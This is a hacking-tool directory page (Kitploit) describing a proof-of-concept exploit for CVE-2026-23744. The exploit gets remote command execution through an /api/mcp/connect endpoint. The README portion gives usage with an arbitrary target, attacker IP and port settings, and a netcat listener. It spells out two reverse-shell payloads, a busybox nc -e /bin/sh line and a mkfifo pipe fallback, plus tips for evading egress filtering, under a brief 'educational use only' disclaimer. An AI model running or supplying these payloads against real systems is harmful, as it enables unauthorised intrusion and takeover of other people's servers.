Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23744-PoC — Proof-of-concept exploit for CVE-2026-23744, targeting /api/mcp/connect to achieve remote command execution on Linux systems via reverse shell. | Kitploit
Tools/GitHubGitHub/h1sok444/cve-2026-23744-poc
ExploitationWeb Application ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubh1sok444/cve-2026-23744-poc

CVE-2026-23744-PoC

Proof-of-concept exploit for CVE-2026-23744, targeting /api/mcp/connect to achieve remote command execution on Linux systems via reverse shell.

View Repository
555 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23744-PoC

MCP RCE Exploit (Linux)

PoC to exploit /api/mcp/connect for remote command execution.

Requirements

root@kitploit:~
pip install requests

Usage

root@kitploit:~
python3 exploit.py <target>

Example:

root@kitploit:~
python3 exploit.py mcp.something.com

Configuration (edit in script)

root@kitploit:~
attacker_ip = "YOUR_IP"
port = 4444

Listener

root@kitploit:~
nc -lvnp 4444

Payloads

Default:

root@kitploit:~
busybox nc <IP> <PORT> -e /bin/sh

Fallback:

root@kitploit:~
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox nc <IP> <PORT> > /tmp/f

Notes

  • Try ports 80/443 if no shell
  • Use fallback if -e fails

Disclaimer

For educational use only.

Download Tool